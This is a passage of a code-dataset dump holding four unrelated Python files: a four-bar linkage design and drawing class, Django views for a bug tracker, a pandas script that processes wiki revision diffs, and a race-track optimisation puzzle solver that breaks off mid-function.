\"\").replace(\")\", \"\"))\r\n self.window.append(ans)\r\n\r\n self.a0x = self.connections[0]\r\n self.a0y = self.connections[1]\r\n self.b0x = self.connections[2]\r\n self.b0y = self.connections[3]\r\n self.a0 = np.array([self.a0x, self.a0y])\r\n self.b0 = np.array([self.b0x, self.b0y])\r\n\r\n def Translation(self):\r\n p0x = self.positions[0]\r\n p0y = self.positions[1]\r\n p1x = self.positions[2]\r\n p1y = self.positions[3]\r\n theta1 = np.radians(self.positions[4])\r\n p2x = self.positions[5]\r\n p2y = self.positions[6]\r\n theta2 = np.radians(self.positions[7])\r\n p0 = np.array([p0x, p0y])\r\n p1 = np.array([p1x, p1y])\r\n p2 = np.array([p2x, p2y])\r\n\r\n self.a0 = np.array([self.a0x, self.a0y])\r\n self.b0 = np.array([self.b0x, self.b0y])\r\n\r\n # test = np.zeros((3,3))\r\n alldata = []\r\n for j in range(len(\r\n self.payload)): # theres multiple sections of payloades so some how this line is supposed to sort through them\r\n vals = []\r\n for i in range(2, len(self.payload[j]) - 1,\r\n 2): # this i is supposed to sort through the data once a payload row is selected\r\n # if i > 1 and i % 2 == 0: #and i < self.payload-2: # based on order, if its odd it should be an x... even should be y...\r\n x = self.payload[j][i]\r\n y = self.payload[j][i + 1]\r\n # vals.append((np.array([x,y])))\r\n vals.append([x, y])\r\n\r\n vals_numpy = np.array(vals)\r\n alldata.append(vals_numpy)\r\n\r\n self.p0 = deepcopy(alldata)\r\n self.p1 = deepcopy(alldata)\r\n self.p2 = deepcopy(alldata)\r\n\r\n self.a0 = deepcopy(self.a0)\r\n self.a1 = deepcopy(self.a0)\r\n self.a2 = deepcopy(self.a0)\r\n\r\n self.b0 = deepcopy(self.b0)\r\n self.b1 = deepcopy(self.b0)\r\n self.b2 = deepcopy(self.b0)\r\n\r\n # Translate to origin\r\n for i in range(len(self.p1)):\r\n for j in range(len(self.p1[i])):\r\n self.p1[i][j][0] -= p0x\r\n self.p1[i][j][1] -= p0y\r\n self.p2[i][j][0] -= p0x\r\n self.p2[i][j][1] -= p0y\r\n\r\n self.a1[0] -= p0x\r\n self.a1[1] -= p0y\r\n self.b1[0] -= p0x\r\n self.b1[1] -= p0y\r\n\r\n self.a2[0] -= p0x\r\n self.a2[1] -= p0y\r\n self.b2[0] -= p0x\r\n self.b2[1] -= p0y\r\n\r\n # Rotate\r\n rotate1 = [[np.cos(theta1), np.sin(theta1)], [-np.sin(theta1), np.cos(theta1)]]\r\n rotate2 = [[np.cos(theta2), np.sin(theta2)], [-np.sin(theta2), np.cos(theta2)]]\r\n\r\n for i in range(len(self.p1)):\r\n self.p1[i] = np.matmul(self.p1[i], rotate1)\r\n self.p2[i] = np.matmul(self.p2[i], rotate2)\r\n\r\n self.a1 = np.matmul(self.a1, rotate1)\r\n self.b1 = np.matmul(self.b1, rotate1)\r\n self.a2 = np.matmul(self.a2, rotate2)\r\n self.b2 = np.matmul(self.b2, rotate2)\r\n\r\n # Currently both at origin and rotated\r\n\r\n for i in range(len(self.p1)):\r\n for j in range(len(self.p1[i])):\r\n self.p1[i][j][0] += p1x\r\n self.p1[i][j][1] += p1y\r\n self.p2[i][j][0] += p2x\r\n self.p2[i][j][1] += p2y\r\n\r\n self.a1[0] += p1x\r\n self.a1[1] += p1y\r\n self.b1[0] += p1x\r\n self.b1[1] += p1y\r\n\r\n self.a2[0] += p2x\r\n self.a2[1] += p2y\r\n self.b2[0] += p2x\r\n self.b2[1] += p2y\r\n\r\n self.a1x = self.a1[0]\r\n self.a1y = self.a1[1]\r\n self.b1x = self.b1[0]\r\n self.b1y = self.b1[1]\r\n\r\n self.a2x = self.a2[0]\r\n self.a2y = self.a2[1]\r\n self.b2x = self.b2[0]\r\n self.b2y = self.b2[1]\r\n\r\n # math studd to calculate positions\r\n\r\n # newpayload.append(newpayloadxy)\r\n\r\n def ThreeBarCircle(self):\r\n # initial guesses\r\n self.ha = 1\r\n self.ka = 1\r\n self.ra = 1\r\n\r\n self.hb = 2\r\n self.kb = 1\r\n self.rb = 0\r\n\r\n def solve(vars, args):\r\n [h, k, r] = vars\r\n [x0, y0, x1, y1, x2, y2] = args\r\n\r\n a = sqrt(((x0 - h) ** 2) + ((y0 - k) ** 2)) - r\r\n b = sqrt(((x1 - h) ** 2) + ((y1 - k) ** 2)) - r\r\n c = sqrt(((x2 - h) ** 2) + ((y2 - k) ** 2)) - r\r\n\r\n return a, b, c\r\n\r\n vars = [self.ha, self.ka, self.ra]\r\n args = [self.a0[0], self.a0[1], self.a1[0], self.a1[1], self.a2[0], self.a2[1]]\r\n self.ha, self.ka, self.ra = fsolve(solve, vars, args=args) # ha = x, ka = y, r = radius of circle\r\n\r\n vars = [self.hb, self.kb, self.rb]\r\n args = [self.b0[0], self.b0[1], self.b1[0], self.b1[1], self.b2[0], self.b2[1]]\r\n self.hb, self.kb, self.rb = fsolve(solve, vars, args=args)\r\n\r\n self.l1 = sqrt((self.ha + self.hb) ** 2 + (self.ka + self.kb) ** 2)\r\n self.l2 = self.ra\r\n self.l3 = sqrt((self.b0x + self.a0x) ** 2 + (self.b0y + self.a0y) ** 2)\r\n self.l4 = self.rb\r\n\r\n self.thetaInitial1 = atan2((self.a0y - self.ka), (self.a0x - self.ha)) * 180 / np.pi\r\n self.thetaEnding1 = atan2((self.a2y - self.ka), (self.a2x - self.ha)) * 180 / np.pi\r\n\r\n # self.thetaInitial2 = atan2((self.b0y - self.kb), (self.b0x - self.hb)) * 180 / np.pi\r\n # self.thetaEnding2 = atan2((self.b2y - self.kb), (self.b2x - self.hb)) * 180 / np.pi\r\n\r\n # self.dtheta1 = (self.thetaEnding1 - self.thetaInitial1) / self.nframes\r\n # self.dtheta2 = (self.thetaEnding2 - self.thetaInitial2) / self.nframes\r\n\r\n def calculate(self):\r\n self.theta1 = atan2((self.ka - self.kb), (self.ha - self.hb))*(180/np.pi)\r\n\r\n self.theta2 = atan2((self.a0y - self.ka), (self.a0x - self.ha))*(180/np.pi)\r\n\r\n self.theta3 = atan2((self.b0y - self.a0y), (self.b0x - self.a0y))*(180/np.pi)\r\n self.theta4 = atan2((self.kb - self.b0y), (self.hb - self.b0x))*(180/np.pi)\r\n\r\n def ThetaSolver(vars, args):\r\n [theta3, theta4] = vars\r\n [l1, l2, l3, l4, theta1, theta2] = args\r\n\r\n d = l1 * np.sin(theta1) + l2 * np.sin(theta2) + l3 * np.sin(theta3) + l4 * np.sin(theta4)\r\n e = l1 * np.cos(theta1) + l2 * np.cos(theta2) + l3 * np.cos(theta3) + l4 * np.cos(theta4)\r\n return d, e\r\n\r\n vars = [self.theta3, self.theta4]\r\n args = [self.l1, self.l2, self.l3, self.l4, self.theta1, self.theta2]\r\n self.theta3, self.theta4 = fsolve(ThetaSolver, vars, args=args) # ha = x, ka = y, r = radius of circle\r\n\r\n\r\n def CreateDraggingList(self):\r\n draglist = [[self.a0x, self.a0y],\r\n [self.b0x, self.b0y]]\r\n return draglist\r\n\r\n def DraggingListItemChanged(self, x, y, draglist, index):\r\n if index == 0: # A Connection\r\n self.a0x, self.a0y = [x, y]\r\n draglist[0] = [x, y]\r\n\r\n if index == 1: # B Connection\r\n self.b0x, self.b0y = [x, y]\r\n draglist[1] = [x, y]\r\n\r\n self.Translation()\r\n self.ThreeBarCircle()\r\n\r\n # def draggingCallback(self, start):\r\n # if start is True:\r\n # draglist = self.fourbar.CreateDraggingList()\r\n # near = 15\r\n # self.glwindow1.g1StartDragging(self.draggingCallback, draglist, near, handlesize=.1, handlewidth=1,\r\n # handlecolor=[1, 0, 1])\r\n # self.ui.dragging.setChecked(False)\r\n # elif start is False:\r\n # self.glwindow1.glStopDragging()\r\n # self.ui.dragging.setChecked(False)\r\n\r\n # def ShowConstruction(self, show)\r\n # if show is True...\r\n\r\n # Animation Stuff\r\n\r\n # def CalculateFlightPaths(self):\r\n # # This to draw the picture and during animation!\r\n # for frame in range(self.nframes):\r\n # # time = self.tmax * frame / self.nframes\r\n # #newdriverpoints[] fill these with new x and y points depending on each frame\r\n # #for each nframe add .01 in loop to each point so that new driverpoints are being created\r\n # #rotate about center point eventually\r\n #\r\n # # draglist points that are being animated\r\n #\r\n # # self.dthetab = (self.thetaEnding - self.thetaInitial) / self.nframes\r\n # self.theta1 = atan2((self.ka - self.kb), (self.ha - self.hb)) * (180 / np.pi)\r\n #\r\n # self.theta2 = atan2((self.a0y - self.ka), (self.a0x - self.ha)) * (180 / np.pi)\r\n #\r\n # self.theta3 = atan2((self.b0y - self.a0y), (self.b0x - self.a0y)) * (180 / np.pi)\r\n # self.theta4 = atan2((self.kb - self.b0y), (self.hb - self.b0x)) * (180 / np.pi)\r\n #\r\n # NewDriverPoints = []\r\n # for i in range(self.nframes):\r\n # self.theta2 += self.dtheta1\r\n # self.theta4 += self.dtheta2\r\n #\r\n # self.a0x = self.ra*np.cos(self.theta2)\r\n # self.a0y = self.ra*np.sin(self.theta2)\r\n #\r\n # self.b0x = self.rb*np.cos(self.theta4)\r\n # self.b0y = self.rb*np.cos(self.theta4)\r\n #\r\n # self.a0 = np.array([self.a0x, self.a0y])\r\n # self.b0 = np.array([self.b0x, self.b0y])\r\n #\r\n # # self.Translation()\r\n # # self.ThreeBarCircle()\r\n # # self.calculate()\r\n # # self.DrawTrussPicture()\r\n # NewDriverPoints.append([self.theta2, self.a0x,self.a0y])\r\n # points = np.array(NewDriverPoints)\r\n #\r\n # for i in range(0, len(self.connections) - 1, 2):\r\n # glColor3f(1, .5, .3) #\r\n # glLineWidth(1.5)\r\n # gl2DCircle(self.points[frame][i][0], self.points[frame][i][1], .015 * (abs(self.window[0]) + abs(self.window[1])),fill=True)\r\n\r\n # glColor3f(1, .5, .3) #\r\n # glLineWidth(1.5)\r\n # gl2DCircle(self.bpath[i][0], self.bpath[i][1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n # end def\r\n\r\n # finds frames for the payload to move through\r\n\r\n # def ConfigureAnimationFrame(self, frame, nframes):\r\n # # self.drone_x = self.dronepath[frame, 0] # driverlink\r\n # # self.ball_x = self.ballpath[frame, 0]\r\n # # self.ball_y = self.ballpath[frame, 1]\r\n # self.a0x = self.apath[frame, 0]\r\n # self.a0y = self.apath[frame, 1]\r\n # self.b0x = self.bpath[frame, 0]\r\n # self.b0y = self.bpath[frame, 1]\r\n\r\n def DrawTrussPicture(self):\r\n # this is what actually draws the picture\r\n # using data to control what is drawn\r\n\r\n # begin drawing connected lines\r\n # use GL_LINE for drawing a series of disconnected lines\r\n # draws boundaries using self.boundary and self.linestyle with correct color and thickness\r\n for i in range(len(self.boundary)):\r\n for k in range(len(self.linestyle)):\r\n if self.boundary[i][1] == self.linestyle[k][0]:\r\n red = self.linestyle[k][1]\r\n green = self.linestyle[k][2]\r\n blue = self.linestyle[k][3]\r\n width = self.linestyle[k][4]\r\n glColor3f(red, green, blue)\r\n glLineWidth(width)\r\n for j in range(2, len(self.boundary[i]) - 3, 2):\r\n glBegin(GL_LINE_STRIP)\r\n glVertex2f(self.boundary[i][j], self.boundary[i][j + 1])\r\n glVertex2f(self.boundary[i][j + 2], self.boundary[i][j + 3])\r\n glEnd()\r\n\r\n # glColor3f(1, .5, .3) #\r\n # glLineWidth(1.5)\r\n # for i in range(0, len(self.connections) - 1, 2):\r\n # gl2DCircle(self.connections[i], self.connections[i + 1], .015 * (abs(self.window[0]) + abs(self.window[1])),fill=True)\r\n\r\n # Draws the A and B points according p0, p1, p2 of payload\r\n glColor3f(1, .5, .3) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.a0[0], self.a0[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(1, .5, .3) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.b0[0], self.b0[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(0, 1, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.a1[0], self.a1[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(0, 1, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.b1[0], self.b1[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(1, 0, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.a2[0], self.a2[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(1, 0, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.b2[0], self.b2[1], .015 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n # Draws the positions that the payload will go through\r\n glColor3f(.5, .5, .5) #\r\n glLineWidth(1.5)\r\n for i in range(len(self.p0)):\r\n for j in range(0, len(self.p0[i]) - 1, 1):\r\n glBegin(GL_LINE_STRIP)\r\n glVertex2f(self.p0[i][j][0], self.p0[i][j][1])\r\n glVertex2f(self.p0[i][j + 1][0], self.p0[i][j + 1][1])\r\n glEnd()\r\n glBegin(GL_LINE_STRIP)\r\n glVertex2f(self.p1[i][j][0], self.p1[i][j][1])\r\n glVertex2f(self.p1[i][j + 1][0], self.p1[i][j + 1][1])\r\n glEnd()\r\n glBegin(GL_LINE_STRIP)\r\n glVertex2f(self.p2[i][j][0], self.p2[i][j][1])\r\n glVertex2f(self.p2[i][j + 1][0], self.p2[i][j + 1][1])\r\n glEnd()\r\n\r\n # Draws the actual payload with colored lines and the wheel\r\n for i in range(len(self.payload)):\r\n for k in range(len(self.linestyle)):\r\n if self.payload[i][1] == self.linestyle[k][0]:\r\n red = self.linestyle[k][1]\r\n green = self.linestyle[k][2]\r\n blue = self.linestyle[k][3]\r\n width = self.linestyle[k][4]\r\n glColor3f(red, green, blue)\r\n glLineWidth(width)\r\n for j in range(2, len(self.payload[i]) - 3, 2):\r\n glBegin(GL_LINE_STRIP)\r\n glVertex2f(self.payload[i][j], self.payload[i][j + 1])\r\n glVertex2f(self.payload[i][j + 2], self.payload[i][j + 3])\r\n glEnd()\r\n\r\n # draws the links between the A and B connections and the arc that fsolve calculated\r\n glColor3f(0, 0, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.ha, self.ka, .02 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glColor3f(0, 0, 0) #\r\n glLineWidth(1.5)\r\n gl2DCircle(self.hb, self.kb, .02 * (abs(self.window[0]) + abs(self.window[1])), fill=True)\r\n\r\n glBegin(GL_LINE_STRIP)\r\n glColor3f(0, 0, 0)\r\n glVertex2f(self.ha, self.ka)\r\n glVertex2f(self.a0[0], self.a0[1])\r\n glEnd()\r\n\r\n glBegin(GL_LINE_STRIP)\r\n glColor3f(1, 1, 0)\r\n glVertex2f(self.hb, self.kb)\r\n glVertex2f(self.b0[0], self.b0[1])\r\n glEnd()\r\n\r\n # test for sports wing\r\n\r\n # glColor3f(.2, .8, 1) #\r\n # glLineWidth(1.5)\r\n # gl2DCircle(4,1,.018,fill=True)\r\n #\r\n # glColor3f(.2, .8, 1) #\r\n # glLineWidth(1.5)\r\n # gl2DCircle(4.3,1.7,.018,fill=True)\r\n","repo_name":"TDCrotty124/4-Bar-Project","sub_path":"FourBar_Class.py","file_name":"FourBar_Class.py","file_ext":"py","file_size_in_byte":19737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"3201311018","text":"from django.shortcuts import render, redirect\nfrom . models import BugUser, Ticket\nfrom . forms import NewUserForm, NewTicketForm, LoginForm, EditTicketForm\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\n\n\ndef landing(request):\n return render(request, 'landing.html')\n\n\ndef index(request):\n tickets = Ticket.objects.all()\n\n new = [t for t in tickets if t.status == 'New']\n in_progress = [t for t in tickets if t.status == \"In progress\"]\n completed = [t for t in tickets if t.status == \"Completed\"]\n invalid = [t for t in tickets if t.status == \"Invalid\"]\n sorted_tickets = new + in_progress + completed + invalid\n context = {\"tickets\": sorted_tickets}\n\n return render(request, 'index.html', context)\n\n\ndef new_ticket(request):\n # need to import the form and instantiate and all that good stuff\n if request.method == 'POST':\n form = NewTicketForm(request.POST)\n\n if form.is_valid():\n form_data = form.cleaned_data\n\n Ticket.objects.create(\n title=form_data['title'],\n time_created=timezone.now(),\n description=form_data['description'],\n submitters_name=request.user.buguser,\n status='New',\n assigned_dev=None,\n completed_dev=None\n )\n\n return redirect('/bugs-tracker/ticket/all')\n else:\n form = NewTicketForm()\n context = {'form': form}\n\n return render(request, 'ticket/new_ticket.html', context)\n\n\ndef edit_ticket(request, ticket_id):\n ticket = Ticket.objects.filter(id=ticket_id).first()\n if request.method == 'POST':\n form = EditTicketForm(request.POST)\n\n if form.is_valid():\n form = form.cleaned_data\n\n if form['Invalidate_ticket'] == 'True':\n ticket.status = 'Invalid'\n ticket.completed_dev = ticket.assigned_dev\n ticket.assigned_dev = None\n ticket.save()\n\n elif form['Mark_complete'] == 'True':\n ticket.status = 'Completed'\n ticket.completed_dev = ticket.assigned_dev\n ticket.assigned_dev = None\n ticket.save()\n\n elif form['assigned_dev'] is not None and ticket.assigned_dev == None:\n ticket.assigned_dev = form['assigned_dev']\n ticket.status = \"In progress\"\n ticket.save()\n\n return redirect('/bugs-tracker/ticket/{}'.format(ticket.id))\n \n else:\n form = EditTicketForm(instance=ticket)\n context = {'form': form}\n\n return render(request, 'ticket/edit_ticket.html', context)\n\n\ndef ticket_detail(request, ticket_id):\n ticket = Ticket.objects.filter(id=ticket_id).first()\n context = {'ticket': ticket}\n\n return render(request, 'ticket/ticket_detail.html', context)\n\n\ndef tickets_by_user(request, user_id):\n user = BugUser.objects.filter(id=user_id).first()\n\n current_tickets = Ticket.objects.filter(submitters_name=user)\n filed = Ticket.objects.filter(submitters_name=user)\n completed = Ticket.objects.filter(completed_dev=user)\n merged_queries = current_tickets | filed | completed\n\n context = {'tickets': merged_queries}\n\n return render(request, 'ticket/tickets_by_user.html', context)\n\n\ndef login_user(request):\n if request.method == \"POST\":\n form = LoginForm(request.POST)\n\n if form.is_valid():\n form_data = form.cleaned_data\n\n user = authenticate(\n username=form_data['username'],\n password=form_data['password']\n )\n\n if user is not None:\n login(request, user)\n return redirect('/bugs-tracker/ticket/all')\n else:\n form = LoginForm()\n context = {\n 'error': \"incorrect username or password \", \n 'form': form\n }\n return render(request, 'auth/login.html', context)\n else:\n form = LoginForm()\n context = {'form': form}\n\n return render(request, 'auth/login.html', context)\n\n\ndef new_user(request):\n if request.method == 'POST':\n form = NewUserForm(request.POST)\n\n if form.is_valid():\n form_data = form.cleaned_data\n\n user = User.objects.create_user(\n username=form_data['username'],\n password=form_data['password']\n )\n\n BugUser.objects.create(\n name=form_data['username'],\n user=user\n )\n \n return render(request, 'index.html')\n else:\n form = NewUserForm()\n context = {'form': form}\n\n return render(request, 'auth/new_user.html', context)\n\n\ndef all_users(request):\n users = BugUser.objects.all()\n context = {\"users\": users}\n return render(request, 'all_users.html', context)","repo_name":"ethan375/sup-doc","sub_path":"sup_doc/bugs_tracker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38363121474","text":"# coding=utf-8\nimport pandas as pd\nimport numpy as np\n\n\nclass Spider():\n n = 0\n filename1 = './data1/test' + str(n) + '.csv'\n data = pd.read_csv(filename1)\n # print file1\n data_all = pd.DataFrame(columns=[0])\n # list_all_file = open('./data2/all.csv','w')\n user_name = [\"\"] * 2\n # print data.iloc[22,0]\n # ss = data.iloc[22,0]\n # if ss == '-':\n # print ###########\n # if ss == '-':\n # print ###########\n for i in range(len(data)):\n row = data.iloc[i,0]\n if i==0:\n row1 = data.iloc[i,0]\n name1 = row.split('(view source)')\n name2 = name1[1].split('(')\n user_name[0] = name2[0]\n row1 = data.iloc[i, 1]\n name1_2 = row.split('(view source)')\n name2_2 = name1[1].split('(')\n user_name[1] = name2[0]\n else:\n if pd.isnull(row):\n if data.iloc[i,1] == '+':\n if not pd.isnull(data.iloc[i,2]):\n aa = 'banben:2banben:user:'+str(user_name[1])+'user:'+str(data.iloc[i,2])\n insertrow = pd.DataFrame([aa])\n\n data_all=data_all.append(insertrow,ignore_index=True)\n # list_all_file.write('banben:2banben:user:'+str(user_name[1])+'user:'+str(data.iloc[i,2])+'\\n')\n else:\n print('sssss')\n # list_all_file.write('nothing' + '\\n')\n else:\n if pd.isnull(data.iloc[i,1]):\n print('sssss')\n\n # list_all_file.write('nothing' + '\\n')\n else:\n if data.iloc[i,1] == data.iloc[i,3]:\n aa = 'banben:1banben:user:' + str(user_name[0]) + 'user:' + str(data.iloc[i, 1])\n insertrow = pd.DataFrame([aa])\n data_all = data_all.append(insertrow, ignore_index=True)\n # list_all_file.write('banben:1banben:user:' + str(user_name[0]) + 'user:' + str(data.iloc[i, 1]) + '\\n')\n else:\n print ('data.iloc[i,1] == data.iloc[i,3]bu deng')\n else:\n if row == \"−\":\n aa = 'banben:2banben:user:' + str(user_name[1]) + 'user:' + str(data.iloc[i, 3])\n insertrow = pd.DataFrame([aa])\n\n data_all = data_all.append(insertrow, ignore_index=True)\n # list_all_file.write('banben:2banben:user:' + str(user_name[1]) + 'user:' + str(data.iloc[i, 3]) + '\\n')\n\n # if pd.isnull(data.iloc[i,2])&pd.isnull(data.iloc[i,3]):\n # print str(data.iloc[i,0])+'&&'+str(data.iloc[i,1])\n else:\n print (str(data.iloc[i, 0]) + '&&' + str(data.iloc[i, 1]))\n # print 'pd.isnull(data.iloc[i,2])&&pd.isnull(data.iloc[i,3])bu wei kong'\n data_all.to_csv('./data2/all0.csv',encoding='utf-8',index=False,header=False)\n\n\n\n\n\n # for j in range(4):\n # row = data.iloc[i, j]\n #\n # if i == 0:\n # if not pd.isnull(row):\n # row = data.iloc[i, j]\n # name1 = row.split('(edit)')\n # name2 = name1[1].split('(')\n # user_name = name2[0]\n # user_time1 = name1[0].split('of')\n # user_time = user_time1[1]\n # list_all_file.write(str(user_name) + ',' + str(user_time) + '\\n')\n # else:\n # break\n # elif not pd.isnull(row):\n # line = row.split(' ')\n # if line[0] == 'Line':\n # line1 = line.split(':')\n # line_count = line1[0]\n #\n # list_all_file.write(row + '\\n')\n # else:\n # print 22\n # # aa = np.isnan(row)pd.np.nan\n # print 22\n\n\n# print row\nspider1 = Spider()\n","repo_name":"zouchangjie/wiki_spiker_bigdata","sub_path":"conn_wiki/datawork_fist_ver.py","file_name":"datawork_fist_ver.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21824086962","text":"# solving Riddler Classic @ https://fivethirtyeight.com/features/can-you-zoom-around-the-race-track/\n\nimport functools\nimport numpy as np\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nfrom collections import namedtuple\nfrom math import atan2, pi\n\n\nP = namedtuple('P', 'x y') # 2-D Point\n\n# to label moves\nACCELERATIONS = {i: P(x, y) for i, (x, y) in enumerate([(x, y) for x in range(-1, 2) for y in range(-1, 2)], 1)}\n\n\ndef calc_angle(x, y):\n \"\"\"get angle of polar coordinates from Cartesian coordinates\"\"\"\n return (atan2(y, x) + (2 * pi if y < 0 else 0.)) / (2 * pi)\n\n\ndef point_sum(p0, p1):\n \"\"\"vector sum of two Points\"\"\"\n return P(p0.x + p1.x, p0.y + p1.y)\n\n\ndef point_dist(p0, p1):\n \"\"\"Euclidean distance between two Points\"\"\"\n return ((p0.x - p1.x) ** 2 + (p0.y - p1.y) ** 2) ** 0.5\n\n\ndef point_rotate(p):\n \"\"\"rotate Point by 90% clockwise\"\"\"\n return P(p.y, -p.x)\n\n\nclass S:\n \"\"\"race State = <2-D position: Point, 2-D velocity: Point>\"\"\"\n def __init__(self, p, v):\n self.p = p\n self.v = v\n\n def __key(self):\n return (self.p.x, self.p.y, self.v.x, self.v.y)\n\n def __eq__(self, other):\n return self.__key() == other.__key()\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n return hash(self.__key())\n\n def __repr__(self):\n return f'S(p={self.p}, v={self.v})'\n\n def get_potential_moves(self):\n \"\"\"get all potential next states in a boundless track\"\"\"\n potential_moves = {}\n for move, acc in ACCELERATIONS.items():\n v1 = point_sum(self.v, acc)\n p1 = point_sum(self.p, v1)\n potential_moves[move] = S(p1, v1)\n return potential_moves\n\n\nA = namedtuple('A', 'moves prevs time') # attributes of a state: prev( State)s, moves leading to it in given time\n\n\nclass RaceTrack:\n \"\"\"representing a race track and the graph of possible race states to optimize upon\"\"\"\n def __init__(self, half_side=7, r=3, start_x=None, accept=None):\n \"\"\"init the track and the graph of possible race states\"\"\"\n self.half_side = half_side\n self.r = r\n self.r2 = r ** 2\n self.accept = accept if accept else self.angle_doesnt_worsen\n self.points_to_angles = {\n P(x, y): calc_angle(x, y)\n for x in range(-half_side, half_side + 1)\n for y in range(-half_side, half_side + 1)\n if x**2 + y**2 >= self.r2\n }\n self.start_point = P(x=start_x if start_x else (half_side + r) // 2, y=0)\n self.start_node = S(self.start_point, P(0, 0))\n self.nodes = {self.start_node: A(moves=[''], prevs=[], time=0.)}\n self.starts = set([self.start_node])\n self.ends = set()\n\n @functools.lru_cache(maxsize=None)\n def segment_crosses_circle(self, p0, p1):\n \"\"\"True iff the segment between the two given Points crosses the circle in two crossing points\"\"\"\n if p0.x == p1.x:\n delta = self.r2 - p0.x ** 2\n if delta <= 0.:\n return False\n else:\n (y_min, y_max) = (p0.y, p1.y) if p0.y < p1.y else (p1.y, p0.y)\n y_plus = delta ** 0.5\n y_minus = - y_plus\n return y_min <= y_minus <= y_max and y_min <= y_plus <= y_max\n elif p0.y == p1.y:\n delta = self.r2 - p0.y ** 2\n if delta <= 0.:\n return False\n else:\n (x_min, x_max) = (p0.x, p1.x) if p0.x < p1.x else (p1.x, p0.x)\n x_plus = delta ** 0.5\n x_minus = -x_plus\n return x_min <= x_minus <= x_max and x_min <= x_plus <= x_max\n else:\n m = (p1.y - p0.y) / (p1.x - p0.x)\n k = p0.y - m * p0.x\n km = k * m\n m2_1 = m ** 2 + 1\n delta = km ** 2 - m2_1 * (k ** 2 - self.r2)\n if delta <= 0.:\n return False\n else:\n (x_min, x_max) = (p0.x, p1.x) if p0.x < p1.x else (p1.x, p0.x)\n delta_sqrt = delta ** 0.5\n x_plus = (-km + delta_sqrt) / m2_1\n x_minus = (-km - delta_sqrt) / m2_1\n return x_min <= x_minus <= x_max and x_min <= x_plus <= x_max\n\n @functools.lru_cache(maxsize=None)\n def arrow_crosses_finish(self, p0, p1):\n \"\"\"True iff Point p1 is on or beyond the finish line, but p0 is not\"\"\"\n if p1.y < 0:\n return False\n elif p0.y >= 0:\n return False\n elif p0.x == p1.x:\n return self.r <= p0.x <= self.half_side\n else:\n x_cross = p0.x - p0.y * (p1.x - p0.x) / (p1.y - p0.y)\n return self.r <= x_cross <= self.half_side\n\n def get_admissible_moves(self, s0, accept=None):\n \"\"\"\n If no potential move crosses the finish line, then return:\n (list of all potential next states within the track boundaries, False)\n otherwise return:\n (list of all potential next states within the track boundaries and across the finish line, True)\n \"\"\"\n if not accept:\n accept = self.accept\n admissible_moves = {}\n finish_possible = False\n for move, s1 in s0.get_potential_moves().items():\n if not s1.p in self.points_to_angles or self.segment_crosses_circle(s0.p, s1.p):\n continue\n finishing = self.arrow_crosses_finish(s0.p, s1.p)\n if not finish_possible and finishing:\n admissible_moves = {}\n finish_possible = True\n if finish_possible and finishing or not finish_possible and accept(s0, s1):\n admissible_moves[move] = s1\n return admissible_moves, finish_possible\n\n def angle_compares_ok(self, s0, s1, comparison_function):\n \"\"\"True iff the angle improves between the two given states, as measured by the given comparison_function\"\"\"\n phi0, phi1 = self.points_to_angles[s0.p], self.points_to_angles[s1.p]\n return comparison_function(phi0, phi1) and phi1 - phi0 < 0.5\n\n def angle_improves(self, s0, s1):\n \"\"\"True iff the angle improves between the two given states\"\"\"\n return self.angle_compares_ok(s0, s1, lambda phi0, phi1: phi1 > phi0)\n\n def angle_doesnt_worsen(self, s0, s1):\n \"\"\"True iff the angle does not worsen between the two given states\"\"\"\n return self.angle_compares_ok(s0, s1, lambda phi0, phi1: phi1 >= phi0)\n\n def move_forward(self):\n \"\"\"enrich the graph of race states by one move forward from every last reached state\"\"\"\n new_starts = set()\n finish_reached = False\n for s0 in self.starts:\n a0 = self.nodes[s0]\n admissible_moves, finishing = self.get_admissible_moves(s0)\n finish_reached = finish_reached or finishing\n for move1, s1 in admissible_moves.items():\n new_time = a0.time + 1.\n if s1 not in self.nodes:\n a1 = A(moves=[move1], prevs=[s0], time=new_time)\n self.nodes[s1] = a1\n new_starts.add(s1)\n elif self.nodes[s1].time == new_time:\n a1 = self.nodes[s1]\n a1.moves.append(move1)\n a1.prevs.append(s0)\n if finishing:\n self.ends.add(s1)\n if finish_reached:\n self.starts = set()\n else:\n self.starts = new_starts\n return finish_reached\n\n def retrace_paths_back_to_start(self, s1):\n \"\"\"get all bakward sequences of points from state s1 to the start point\"\"\"\n if s1 == self.start_node:\n return [[('', s1.p)]]\n paths = []\n a1 = self.nodes[s1]\n for move01, s0 in zip(a1.moves, a1.prevs):\n path_end = [(move01, s1.p)]\n prev_paths = self.retrace_paths_back_to_start(s0)\n for prev_path in prev_paths:\n paths.append(path_end + prev_path)\n return paths\n\n def score_path(self, points):\n \"\"\"\n compute the time and the length of a path, given as a sequence of points;\n for the move crossing the finish line, only the fraction of time and length before crossing is considered\n \"\"\"\n time, length = 0., 0.\n for p0, p1 in zip(points[:-1], points[1:]):\n fraction_before_finish = -p0.y / (p1.y - p0.y) if 